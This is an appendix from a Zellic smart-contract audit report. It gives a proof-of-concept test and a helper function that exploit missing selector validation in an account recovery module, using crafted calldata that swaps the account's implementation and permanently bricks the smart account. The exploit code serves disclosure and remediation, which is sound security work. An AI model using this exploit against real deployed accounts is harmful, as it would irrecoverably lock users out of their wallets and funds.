Assessment reports>AccountRecoveryModule>Appendix>Missing selector validation POC

Missing selector validation POC

The following proof of concept shows how Finding ref can be exploited to cause an irrecoverable denial of service, rendering a smart account unusable. The test can be added to test/module/AccountRecovery.Module.ts.

it("POC - Bricks the smart account", async () => {
    const {
    entryPoint,
    userSA,
    accountRecoveryModule,
    ecdsaModule,
    controlMessage,
    arrayOfSigners,
    defaultSecurityDelay,
    } = await setupTests();

    const calldata = userSA.interface.encodeFunctionData(
        "updateImplementation",
        [accountRecoveryModule.address]
    )
        + "0000000000000000000000000000000000000000000000000000000000000000"  // 0x00   ETH value
        + "0000000000000000000000000000000000000000000000000000000000000060"  // 0x20   Calldata bytes offset
        + "0000000000000000000000000000000000000000000000000000000000000004"  // 0x60   Calldata bytes length
        + "0fe0128700000000000000000000000000000000000000000000000000000000"  // 0x80   Calldata: just the selector, padded for convenience
    ;

    const addRequestUserOp = await makeMultiSignedUserOpWithGuardiansListArbitraryCalldata(
    calldata,
    userSA.address,
    arrayOfSigners,
    controlMessage,
    entryPoint,
    accountRecoveryModule.address
    );

    // This won't revert
    await userSA.getImplementation();

    await entryPoint.handleOps([addRequestUserOp], alice.address, {
        gasLimit: 10000000,
    });

    // [!] This will revert because even `getImplementation` requires the original implementation
    await expect(userSA.getImplementation()).revertedWith("");
});

The test uses a modified makeMultiSignedUserOpWithGuardiansList function to be added to test/utils/accountRecovery.ts:

export async function makeMultiSignedUserOpWithGuardiansListArbitraryCalldata(
  calldata: string,
  userOpSender: string,
  userOpSigners: Signer[],
  controlMessage: string,
  entryPoint: EntryPoint,
  moduleAddress: string,
  options?: {
    preVerificationGas?: number;
  }
): Promise<UserOperation> {
  const SmartAccount = await ethers.getContractFactory("SmartAccount");

  const txnDataAA1 = calldata;

  const provider = entryPoint.provider;
  const op2 = await fillUserOp(
    {
      sender: userOpSender,
      callData: txnDataAA1,
      ...options,
    },
    entryPoint,
    "nonce"
  );

  const chainId = await provider!.getNetwork().then((net) => net.chainId);
  const messageUserOp = arrayify(
    getUserOpHash(op2, entryPoint!.address, chainId)
  );

  const messageHash = ethers.utils.id(controlMessage);
  const messageHashBytes = ethers.utils.arrayify(messageHash);

  let signatures = "0x";

  for (let i = 0; i < userOpSigners.length; i++) {
    const signer = userOpSigners[i];
    const sig = await signer.signMessage(messageUserOp);
    const guardian = await signer.signMessage(messageHashBytes);
    signatures = signatures + sig.slice(2) + guardian.slice(2);
  }

  // add validator module address to the signature
  const signatureWithModuleAddress = ethers.utils.defaultAbiCoder.encode(
    ["bytes", "address"],
    [signatures, moduleAddress]
  );

  op2.signature = signatureWithModuleAddress;
  return op2;
}
Zellic © 2024Back to top ↑